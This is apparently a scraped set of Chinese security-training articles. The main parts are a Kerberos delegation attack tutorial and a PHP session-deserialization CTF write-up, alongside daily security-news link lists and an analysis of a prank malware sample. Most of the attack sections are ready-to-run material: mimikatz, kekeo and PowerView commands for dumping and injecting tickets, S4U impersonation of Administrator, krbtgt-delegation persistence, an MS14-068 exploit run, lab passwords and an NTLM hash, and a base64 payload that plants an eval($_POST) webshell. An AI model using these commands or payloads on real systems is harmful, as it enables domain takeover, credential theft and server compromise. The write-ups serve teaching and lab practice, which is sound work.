kerberos委派详解
委派
域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。
服务账号(Service Account),域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,
会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。
上图是经典的应用场景。一个域内普通用户jack通过Kerberos协议认证到前台WEB服后,前台运行WEB服务的服务账号websvc模拟(Impersonate)用户jack,以Kerberos协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中跳或者多跳的Kerberos认证。按照图中红色字体的数字,具体步骤如下:
1. 域内用户jack以Kerberos方式认证后访问Web服务器;
2. Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;
3. KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据TGT;
4. websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据TGS;
5. KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据TGS;
6. websvc收到的jack用户的授权票据TGS后,可访问文件服务,完成多跳认证。在域中,只有 服务账号 和 主机账号 才具有委派属性
主机账号就是AD活动目录中 Computers 中的计算机,也可以称为机器账号(一个普通域用户默认最多可以创建十个主机账号)。服务账号(Service Account)是域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来并加入域。例如SQL Server 在安装时,会在域内自动注册服务账号 SQLServiceAccount。也可以将域用户通过注册SPN变为服务账号。
委派的前提
需要被委派的用户未设置不允许被委派属性,这里如果打勾则Administrator用户不能够被委派
非约束性委派
对于非约束性委派,服务账号可以获取被委派用户的 TGT ,并将 TGT 缓存到 LSASS 进程中,从而服务账号可使用该 TGT ,模拟用户访问任意服务。
当服务账号或者主机被设置为非约束性委派时,其 userAccountControl 属性会包含 WORKSTATION_TRUSTED_FOR_DELEGATION
从网络攻击的角度看,如果攻击者控制了服务账号B,并诱骗管理员来访问服务A,则可以获取管理员的TGT,进而模拟管理员访问任意服务,即获得管理员权限。越是大型网络、应用越多的网络,服务账号越多,委派的应用越多,越容易获取域管理员权限。
约束性委派
由于非约束委派的不安全性,微软在Windows Server 2003中发布了约束性委派。对于约束性委派(Constrained Delegation),即Kerberos的两个扩展子协议 S4u2self (Service for User to Self) 和 S4u2Proxy (Service for User to Proxy),服务账号只能获取用户的TGS,从而只能模拟用户访问特定的服务。
配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性,还会指定对哪个SPN进行委派。
基于资源的约束性委派
为了使用户/资源更加独立,微软在Windows Server 2012中引入了基于资源的约束性委派。基于资源的约束委派不需要域管理员权限去设置,而把设置属性的权限赋予给了机器自身。基于资源的约束性委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派只能在运行WindowsServer2012和Windows Server 2012R2及以上的域控制器上配置,但可以在混合模式林中应用。配置了基于资源的约束委派的账户的userAccountControl属性为 WORKSTATION_TRUST_ACCOUNT,并且msDS-AllowedToActOnBehalfOfOtherIdenti
基于资源的约束性委派和约束性委派差别
委派的权限授予给了拥有资源的后端(B),而不再是前端(A)
约束性委派不能跨域进行委派,基于资源的约束性委派可以跨域和林
不再需要域管理员权限设置委派,只需拥有在计算机对象上编辑”msDS-AllowedToActOnBehalfOfOtherIdentity”属性的权限,也就是将计算机加入域的域用户 和 机器自身 拥有权限。
传统的约束委派是“正向的”,通过修改服务A的属性”msDS-AllowedToDelegateTo”,添加服务B的SPN(Service Principle Name),设置约束委派对象(服务B),服务A便可以模拟用户向域控制器请求访问服务B的ST服务票据。
而基于资源的约束委派则是相反的,通过修改服务B属性”msDS-AllowedToActOnBehalfOfOtherIdentity”,添加服务A的SID,达到让服务A模拟用户访问B资源的目的。
非约束委派和约束委派的流程
非约束委派流程
前提:在机器账号B上配置了非约束性委派(域管理员才有权限配置)
1.用户访问机器B的某个服务,于是向KDC认证。KDC会检查机器B的机器账号的属性,发现是非约束性委派,KDC会将用户的TGT放在ST服务票据中。
2.用户访问机器B时,TGT票据会和ST服务票据一同发送给机器B
3.这样B在验证ST服务票据的同时获取了用户的TGT,并将TGT存储在LSASS进程中,从而可以模拟用户访问任意服务。
从网络攻击的角度来看,如果攻击者控制了机器B的机器账号,并且机器B配置了非约束性委派。则攻击者可以诱骗管理员来访问机器B,然后攻击者可以获取管理员的TGT,从而模拟管理员访问任意服务,即获得了管理员权限。
约束性委派流程
前提:在服务A上配置到服务B约束性委派(域管理员才有权限配置)
1.用户访问服务A,于是向域控进行kerberos认证,域控返回ST1服务票据给用户,用户使用此服务票据访问服务A
2.若该服务A允许委派给服务B,则A能使用S4U2Proxy协议将用户发送给自己的可转发的ST1服务票据以用户的身份再转发给域控制器。于是域控返回给服务A一个ST2服务票据。
3.服务A便能使用获得的ST2服务票据以用户的身份访问服务B。
从网络攻击的角度来看,如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。则攻击者可以利用服务A以administrator身份访问域控的CIFS服务,即相当于控制了域控。
筛选非委派属性的账号
注:域控主机账户默认开启非约束委派
PowerSploit下的PowerView.ps1脚本
Import-Module .\\PowerView.ps1;查询域中配置非约束委派的账户
Get-NetUser -Unconstrained -Domain Drunkmars.com
Get-NetUser -Unconstrained -Domain Drunkmars.com \| select name查询域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name
ADFind
使用参数
AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
查找域中配置非约束委派的用户:
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName查找域中配置非约束委派的主机:
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cndistinguishedName
ldapsearch
kali自带,可以在域外使用
查找域中配置非约束委派的用户
ldapsearch -x -H ldap://192.168.200.143:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org""(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"查找域中配置非约束委派的主机
powershell ldapsearch -x -H ldap://192.168.200.146:389 -D "CN=administrator,CN=Users,DC=0day,DC=org" -w admin\!\@\45 -b"DC=0day,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" | grep -iE "distinguishedName"
查询某用户是否具有委派性
Import-Module .\\powerview.ps1;
Get-DomainUser 域用户名 -Properties
useraccountcontrol,msds-allowedtodelegateto| fl当该账号没委派属性时,查询不出任何信息
当服务账号被设置为 非约束性委派 时,其 userAccountControl 属性会包含为 TRUSTED_FOR_DELEGATION
当被设置为 约束性委派 时,其 userAccountControl 属性包含
TRUSTED_TO_AUTH_FOR_DELEGATIONhttps://msdn.microsoft.com/en-us/library/aa772300%28v=vs.85%29.aspx
且msds-allowedtodelegateto 属性会被设置为哪些 SPN。
非约束委派攻击
非约束委派:当user访问service1时,如果service1的服务账号开启了 unconstrained delegation (非约束委派),则当 user 访问 service1时会将user的 TGT 发送给 service1 并保存在内存中以备下次重用,然后 service1 就可以利用这张 TGT 以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了
操作环境:
域:Drunkmars.com
域控:windows server 2012R2,主机名:WIN-M836NN6NU8B,IP: 192.168.10.5
域管账户:sqladmin
域内主机:windows7,主机名:MESSI-PC,IP:192.168.10.7,用户:mars2(普通域用户)
注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的
查找非约束委派主机帐号
Import-Module .\\powerview.ps1;
Get-NetComputer -Unconstrained -Domain Drunkmars.com \| select name
导出票据
先访问DC,可以看到访问失败
用任意域管帐号访问win7(这里域管帐号登录在任意一台机器都可以)
此时,在主机win8的lsass.exe内存中就会有域用户sqladmin的TGT票据
我们在win8上以管理员权限运行mimikatz,执行以下命令
privilege::debug导出票据
sekurlsa::tickets /export
注入票据
用 mimikatz 将这个票据导入内存中,然后访问域控
导入票据
kerberos::ptt [0;33f6ebf]-2-0-60a00000-sqladmin@krbtgt-0DAY.ORG.kirbi查看票据
kerberos::list
访问域控
约束性委派攻击
操作环境:
域:0day.org
域内主机: windows 7 ,主机名:PC-jack-0day,IP:192.168.3.62,用户:jack
域控:OWA2010SP3
我们设置了机器用户PC-jack-0day对OWA2010SP3的 cifs 服务的委派
查找约束性委派的主机账号
请求用户TGT
已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT
tgt::ask /user:PC-JACK-0DAY /domain:0day.org /password:password /ticket:test.kirbi参数:
/user : 服务用户的用户名
/password : 服务用户的明文密码
/domain : 所在域名
/ticket : 指定票据名称,不过这个参数没有生效,可以忽略
kekeo同样也支持使用 NTLM Hash
在请求服务用户的TGT那步直接把 /password 改成 /NTLM 即可
这里我们知道PC-JACK-0DAY的ntlm hash为:768623e06fae601be0c04759c87d93d3
执行如下命令
tgt::ask /user:PC-JACK-0DAY /domain:0day.org /NTLM:768623e06fae601be0c04759c87d93d3 /ticket:test.kirbi
得到mailto:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt~mailto:0day.org@0DAY.ORG.kirbi
获取ST
然后我们可以使用这张TGT通过伪造s4u请求以 administrator 用户身份请求访问 OWA2010SP3 CIFS 的ST
tgs::s4u /tgt:TGT_PC-JACK-0DAY@0DAY.ORG_krbtgt\~0day.org@0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org
S4U2Self 获取到的ST1以及 S4U2Proxy 获取到的OWA2010SP3 CIFS服务的ST2会保存在当前目录下
注入ST2
然后我们用mimikatz将ST2导入当前会话即可
kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi
访问域控
不知道服务用户密码的情况
如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用 mimikatz 直接从内存中把服务用户的TGT dump出来
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
注: sekurlsa::tickets 是列出和导出所有会话的 Kerberos 票据, sekurlsa::tickets 和 kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export 需要管理员权限的原因。并且 sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。
既然服务用户的TGT导出来了,我们就跳过 tgt::ask 请求TGT这步,直接 tgs::s4u
tgs::s4u /tgt:[0;3e7]-2-1-40e00000-PC-JACK-0DAY\$@krbtgt-0DAY.ORG.kirbi /user:Administrator@0day.org /service:cifs/OWA2010SP3.0day.org
kerberos::ptt TGS_Administrator@0day.org@0DAY.ORG_cifs\~OWA2010SP3.0day.org@0DAY.ORG.kirbi
抓包分析约束性委派攻击过程
这里可以看到有6个请求
AS-REQ
可以看到用户PC-JACK-0DAY用户向KDC请求一张TGT
AS-REP
返回一张TGT,这张TGT代表的就是PC-JACK-0DAY这个用户
第一次的TGS-REQ和TGS-REP
用这张 TGT 发送 S4U2self 请求,以 Administrator 的名义向 TGS 申请了一张访问自身服务的票据,ST1
第二次的TGS-REQ和TGS-REP
得到 ST1 之后,然后会带上ST1再次向 KDC 发起 SU42Proxy 请求,以 administrator 的名义请求一张访问 OWA2010SP3 cifs 服务的票据,ST2
利用约束性委派进行权限维持
我们都知道TGT的生成是由 krbtgt 用户加密和签名的,如果我们能委派域上的用户去访问TGS ,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用 krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。
注: TGS 默认的spn是 krbtgt/domain name ,我们操作环境是 krbtgt/QIYOU.COM
krbtgt 默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。
我们可以使用powershell来添加
Import-Module ActiveDirectory
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }我们控制的用户选择的是自己创建的 test 域用户。密码Yicunyiye123
域控:OWA2010SP3 192.168.200.146
域:0day.org
攻击机:Kali
首先修改 kali 的/etc/hosts/文件,添加如下内容
192.168.200.146 0day.org
192.168.200.146 OWA2010SP3
创建域用户test然后赋予SPN
然后在域控上配置test用户到krbtgt用户的约束性委派
Import-Module ActiveDirectory
$user = Get-ADUser test -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/0day.org") }
可以看到test账户具有委派性
然后在kali上攻击
域委派的防御措施
因为委派比较实用我们也不能说直接简单粗暴关闭该功能
1.高权限用户可以设置不能被委派
可以看到administrator是无法成功的,但是sqladmin可以
2.Windows 2012R2及更高的系统建立了受保护的用户组,组内用户不允许被委派,这是有效的手段。受保护的用户组,当这个组内的用户登录时(windows2012 R2域服务器,客户端必须为Windows 8.1或之上),不能使用NTLM认证;适用于Windows Server 2016 , Windows Server 2012 R2 、 Windows Server 2012
3.一般TGT 4小时后失效
4.Kerberos预认证时不使用DES或者RC4等加密算法
PAC
原理分析:https://www.anquanke.com/post/id/192810#h2-1
kerberos的流程:
1.用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳,KDC使用用户hash进行解密,如果结果正确返回用krbtgthash加密的TGT票据
2.用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgthash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据
3.用户拿着TGS票据去请求服务,服务使用自己的hash解密TGS票据。如果解密正确,就允许用户访问。
上面这个流程看起来没错,却忽略一个最重要的因素,那就是用户有没有权限访问该服务,在上面的流程里面,只要用户的hash正确,那么就可以拿到TGT,有了TGT,就可以拿到TGS,有了TGS,就可以访问服务,任何一个用户都可以访问任何服务。也就是说上面的流程解决了”Who am i?”的问题,并没有解决 “What can I do?”的问题。
在Kerberos最初设计的流程里说明了如何证明客户端的真实身份,但是并没有说明客户端是否有权限访问该服务,因为在域中不同权限的用户能够访问的资源是不同的。所以微软为了解决权限这个问题,引入了 PAC (Privilege Attribute Certificate,特权属性证书) 的概念。
MS14-068
MS14-068编号CVE-2014-6324,补丁为3011780,如果自检可在域控制器上使用命令检测。systeminfo |find "3011780" 为 空说明该服务器存在MS14-068漏洞
环境:
域机器:MESSI-PC,win7,知道一个域用户和密码:mars2\Drunkmars,Fcb0519..,拥有该机器的管理员权限
域控:WIN-M836NN6NU8B,ip:192.168.10.5
生成票据
MS14-068.exe -u mars2@Drunkmars.com -p Fcb0519.. -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5
可以看到已经生成了mailto:TGT_mars2@Drunkmars.com.ccache
mimikatz导入票据
kerberos::ptc 票据路径
访问域控
网络安全日报 2021年10月08日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、MalKamak 利用 ShellClient RAT 瞄准航空航天和电信公司
https://www.securityweek.com/iran-linked-malkamak-hackers-targeting-aerospace-telcos-shellclient-rat 2、由于服务器配置错误Twitch 遭数据和源代码泄漏
https://thehackernews.com/2021/10/twitch-suffers-massive-125gb-data-and.html 3、谷歌计划在年底前为 1.5 亿用户自动开启两步验证
https://thehackernews.com/2021/10/google-to-turns-on-2-factor.html 4、霍尼韦尔 Experion PKS 和 ACE 控制器发现多个严重漏洞
https://thehackernews.com/2021/10/multiple-critical-flaws-discovered-in.html 5、大华摄像头2个漏洞的PoC漏洞在网上公开
https://securityaffairs.co/wordpress/123076/hacking/dahua-cameras-flaws.html 6、LANtenna 攻击允许通过以太网电缆从隔离设备中窃取数据
https://securityaffairs.co/wordpress/123008/hacking/lantenna-attack-exfiltration-technique.html 7、Apache 修补了一个被在野外利用的零日漏洞
https://securityaffairs.co/wordpress/122999/hacking/apache-zero-day-flaw.html 8、Apple Pay存在漏洞可被利用于未经授权的支付
https://thehackernews.com/2021/10/apple-pay-can-be-abused-to-make.html 9、美国联合30个国家共同打击影响全球的勒索软件团伙
https://www.bleepingcomputer.com/news/security/us-unites-30-countries-to-disrupt-global-ransomware-attacks/ 10、macOS Gatekeeper绕过的PoC在线发布
https://www.securityweek.com/poc-exploit-released-macos-gatekeeper-bypass
一篇文章弄懂session的两种存储方式
PHP中session有哪些存储方式?
根据官方文档我们可以看到,一共有三种存储方式:PHP序列化格式、PHP内部格式以及WDDX。
如果不使用ini_set设置相关session存储方式,在默认情况下就使用php,也就是php内部格式。
本篇文章仅讨论PHP序列化格式以及php默认处理器这两种存储方式,不探讨WDDX的存储方式。
还有一种是php_binary的格式,本文也不做探讨,这里就列出在不同模式下的存储方式。
php默认处理器与php序列化存储方式有哪些差异?
php默认处理器
首先我们使用php默认处理器,初始化session,并给session赋值,实验代码如下:
<?php
//ini_set("session.serialize_handler","php");
session_start();
$_SESSION['tt'] = "Lxxx";
访问该网页后我们可以看到以下内容:
这里的信息量有点大,我们逐个分析:
首先访问该网页后,在Cookie中会新建一个值,键名为PHPSESSID,键值为一串随机的字符串,其中键名是由session.name决定的,如果不设置,默认为PHPSESSID
新建了一个session之后,服务器会将会话信息存储在tmp目录中,文件名为PHPSESSID_<value>,其中value的值即为浏览器中PHPSESSID的值
在这个文件中,会将session信息分为两部分存储,一个是服务器代码中设置session的键名,另一个为session的键值,中间用竖线|隔开
php序列化处理器
同样的,我们还是用上方的代码,不过将session存储的方式修改为php序列化,代码如下:
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['tt'] = "Lxxx";
得到的结果如下:
可以看到,与php默认处理器唯一不同点就在于:存储的内容变为了序列化之后的结果。
那么如果将这两个处理器结合起来,会产生什么安全问题呢?
session存储中可能产生的安全问题:
由于PHP默认情况下使用的session存储方式为PHP默认处理器,即存储的内容用竖线|进行分割,那么开发者在开发的时候,如果没有统一好存储的方式,比如在某个页面中使用PHP默认处理器操作session,但是在其他页面用PHP序列化操作session,如果在这个过程中有数据的交换,就很有可能存在反序列化注入问题。
光说可能有些抽象,接下来使用一道CTF赛题来阐述session存储中可能存在的安全问题。
用一道CTF题阐述session的安全问题:
首先呢,打开题目:
乍一眼看是登录页面,可能是SQL注入有关,但是经过我们扫描后,存在http://www.zip源代码泄露。在http://www.zip中存在以下文件:
相关代码如下:(有些做了省略)
index.php
<?php
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
inc.php
<?php
ini_set('session.serialize_handler', 'php');
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
check.php
<?php
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}
这一道题,经过初步审计之后,我们可以发现三个比较重要的地方:
首先在index.php代码中,有以下代码
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
这一行代码看上去有登录失败次数的限制,但是由于题目中limit打成了limti,所以,实际上这一行代码并不影响我们做题。
在inc.php中,存在以下代码:
ini_set('session.serialize_handler', 'php');
前面我们提到,默认的PHP对于session的处理方式就是php,但是这里又通过ini_set来设置处理方式是php,由此我们可以大胆假设,这题的环境,默认的session处理方式为php序列化
同样还是在inc.php页面中,有以下代码:
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
在这一个地方,存在一个文件写入的漏洞,其中文件名以及写入的内容都可控。
经过初步审计之后,我们可以尝试使用将User类序列化后的字符写入limit中,当其他页面调用limit的时候,使用的是php序列化的处理器,这时候php就会对User类进行反序列化,最终写入我们的shell
所以我们构造一个User类,写入相关的shell,并且序列化之后添加一个竖线|,最后进行base64编码。
这里需要添加竖线|的原因是,在inc.php页面中使用了PHP的处理器,而在其他地方使用“默认”的PHP序列化处理器。
构造对象如下:
<?php
class User{
public $username = "1.php";
public $password = '<?php eval($_POST["a"]);?>';
}
$a = new User();
echo base64_encode("|".serialize($a));;
?>
得到结果:
fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30=
首先访问index.php建立会话,然后将这一串传入cookie中的limit
再带参数访问check.php
check.php?u=123&pass=456
访问之后,就会在目录下生成log-1.php的后门文件,连接密码为a,即可成功getshell。
https://www.yijinglab.com/cour.do?w=1&c=CCID2d0a-0673-40fe-8ac6-bd3c08e8179f
网络安全日报 2021年09月30日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 Facebook开源Mariana Trench代码分析工具
https://www.securityweek.com/facebook-open-sources-mariana-trench-code-analysis-tool2、Google宣布为Tsunami扫描器编写插件的人提供奖励
https://www.securityweek.com/google-announces-rewards-tsunami-security-scanner-plugins3、GriftHorse恶意软件感染了70个国家/地区超1000万部安卓手机
https://securityaffairs.co/wordpress/122730/malware/grifthorse-malware-campaign.html4、Apple AirTag 中未修复的漏洞可导致凭据收集、点击劫持等攻击
https://threatpost.com/apple-airtag-zero-day-trackers/175143/5、开源软件Cachet中的RCE漏洞可能使用户面临风险
https://portswigger.net/daily-swig/rce-vulnerabilities-in-open-source-software-cachet-could-put-users-at-risk6、Microsoft Edge 中的多个漏洞可能允许任意代码执行
https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-edge-could-allow-for-arbitrary-code-execution_2021-1237、Twitter机器人诱骗用户通过PayPal和Venmo付款
https://portswigger.net/daily-swig/social-media-scam-twitter-bots-are-tricking-users-into-making-paypal-and-venmo-payments-into-fraudsters-accounts8、网络钓鱼攻击利用伪造的Zix加密电子邮件
https://www.armorblox.com/blog/blox-tales-zix-credential-phishing/9、儿童故事书应用FarFaria暴露290万用户数据
https://www.hackread.com/storybooks-for-children-app-farfaria-exposed-data/10、俄罗斯警方逮捕了 Group-IB 的首席执行官
https://securityaffairs.co/wordpress/122710/cyber-crime/group-ib-ceo-arrested-treason-changes.html
一款专门针对高质量女性的易语言钓鱼样本简单分析
由于一直没怎么分析过易语言的样本,想学习一下易语言的样本分析过程,正好最近碰见了一个易语言编写的样本,是一个专门针对人类高质量女性进行钓鱼的样本,正好拿来学习学习,笔者是一边学习一边分析,如有不对之处还望各位批评指正。
该样本图标如下:
https://www.yijinglab.com/cour.do?w=1&c=CCID039e-e54e-46fb-b0f2-609db99a3ee2好像和前段时间流行的某人类高质量男性留着一样的发型?查看详细信息发现文件说明处还专门指出“高质量女性请运行”:
易语言的特点
要分析清楚易语言,首先得大概了解一下易语言程序怎么开发,怎么编译,易语言是一款中文编程语言,它通过封装一些支持库来拓展自身的功能。如下是一个demo:
易语言有两种主要的编译方式:
独立编译:是指易语言编译时,程序和易语言的支持库打包在一个exe文件中。程序可以脱离易语言环境使用。
非独立编译:是指易语言编译时,单独编译exe文件,这样生成的文件体积小。必须带上支持库才能使用程序。
如果依赖库不存在将会弹出报错窗口:
样本静态分析
那么有了上述知识,我们就可以判断这个样本是哪种编译方式了,拖入Ida首先发现样本会在Temp临时目录创建以E_N开头的文件夹,并释放一些后缀名为.fnr和.fne的PE文件。
调用LoadLibrary和GetProcessAddress函数,加载支持库文件,获取GetNewSock的函数地址:
然后发现后面会调用call eax和MessageBox:
这些都是易语言加载支持库的一些特征,该样本使用的是独立编译,接下来我们直接进行动态分析。
样本动态分析
我们使用火绒剑结合OD进行动态调试分析,对一些关键的API下断点,如CreateFileA,MessageBoxA,CreateProcessA,CreateWindowExA等,于是我们就可以发现除了krnln.fnr还释放了其他的支持库文件:
其中eAPI.fne是应用接口支持库,iext.fne是拓展界面支持库,krnln.fnr是系统核心支持库,shell.fne是操作系统界面功能支持库,spec.fne是特殊功能支持库,mp3.run、com.run、wmp.dll对应的是Windows媒体播放器支持库。看来这个样本可能会播放音频或者视频。继续运行发现:
同时还释放并运行一个bat文件:
dc.bat内容为:
@echo off
cd c:\users\%username%\desktop\
for /L %%X IN (1,1,999) DO type nul>人类高质量男性%%X.txt
doskey regedit=regedit.
doskey gpedit.msc= gpedit.Msc.
doskey gpedit= gpedit.Msc.
doskey net=net.
doskey mmc = mmc.
doskey mmc.exe = mmc.
doskey assoc=assoc.
doskey ftype=ftype.
doskey del = del.
doskey delete = del.
doskey RD = rd.
运行后桌面会出现999个txt文件:
同时,temp目录下还释放了如下文件:
然后出现如下类似微信电话的窗口:
当点击接听的时候便会播放音频和视频:
对于窗口所触发的行为我们可以使用OD的窗口界面:
在按钮处设置消息断点,当发生对应的事件时即可断在消息处理函数处。
然后便退出了。
其中当点击拒接微信电话时,便会出现恶搞现象,电脑屏幕出现“分块”现象,同时播放wallpaper.mp4:
还会像熊猫烧香一样将所有的exe文件图标全部修改:
这些功能主要是由释放出的FZ%.exe实现的,感兴趣的可以找我索要样本,继续分析一下,但一定要在虚拟机下运行,提前做好快照备份。
网络安全日报 2021年09月29日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、 VMware vCenter CVE-2021-22005 漏洞的PoC已公开发布
https://securityaffairs.co/wordpress/122686/hacking/cve-2021-22005-exploit-vmware-vcenter.html2、新的恶意软件BloodyStealer针对游戏行业
https://securityaffairs.co/wordpress/122646/cyber-crime/bloodystealer-malware-targets-gamers.html3、趋势科技修补了ServerProtect 解决方案中一个严重漏洞
https://securityaffairs.co/wordpress/122694/security/trend-micro-serverprotec-solution-flaw.html4、德国联邦信息安全办公室(BSI)调查中国手机
https://securityaffairs.co/wordpress/122604/intelligence/bsi-investigates-chinese-mobile-phones.html5、Confluence RCE 漏洞在多个网络攻击活动中被利用
https://thehackernews.com/2021/09/atlassian-confluence-rce-flaw-abused-in.html6、微软警告针对 Active Directory FS 服务器的 FoggyWeb 恶意软件
https://thehackernews.com/2021/09/microsoft-warns-of-foggyweb-malware.html7、ImmuniWeb 推出用于识别未受保护的云存储的免费工具
https://www.securityweek.com/immuniweb-launches-free-tool-identifying-unprotected-cloud-storage8、FinSpy 监视间谍软件劫持并替换UEFI引导程序安装Bootkit
https://www.securityweek.com/finspy-surveillance-spyware-fitted-uefi-bootkit9、OWASP Top 10 更新了三个新类别
https://www.securityweek.com/owasp-top-10-updated-three-new-categories10、Mirai_ptea_Rimasuta变种利用锐捷路由器0day传播
https://blog.netlab.360.com/rimasuta-spread-with-ruijie-0day-en/
网络安全日报 2021年09月28日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Visual Studio Code 远程开发插件中存在RCE漏洞
https://securityaffairs.co/wordpress/122638/hacking/rce-visual-studio-code-remote-development-extension.html2、Jupyter恶意软件新版本通过MSI安装程序分发
https://securityaffairs.co/wordpress/122627/cyber-crime/jupyter-infostealer-msi-installers.html3、俄罗斯 APT 组织Turla在目标系统上部署新后门
https://thehackernews.com/2021/09/russian-turla-apt-group-deploying-new.html4、新的安卓恶意软件窃取来自 378 个银行和钱包应用程序数据
https://thehackernews.com/2021/09/new-android-malware-steals-financial.html5、VMware确认最近修补的vCenter Server漏洞已被在野利用
https://www.securityweek.com/vmware-confirms-wild-exploitation-vcenter-server-vulnerability6、Cring 勒索软件利用十多年前的Adobe漏洞
https://cyware.com/news/cring-ransomware-targets-a-decade-old-adobe-flaw-caf2c4127、Safepal Wallet恶意附加组件窃取用户加密货币
https://www.bleepingcomputer.com/news/security/malicious-safepal-wallet-firefox-add-on-stole-cryptocurrency/8、攻击者利用虚假Uber安全警报窃取用户信息
https://blog.malwarebytes.com/malwarebytes-news/2021/09/beware-uber-scam-lures-victims-with-alert-from-a-real-uber-number/9、Desorden团伙从ABX Express窃取200GB数据
https://www.databreaches.net/desorden-group-claims-to-have-stolen-200-gb-of-data-from-abx-express/10、QNAP 修复 QVR 视频监控解决方案中的高危漏洞
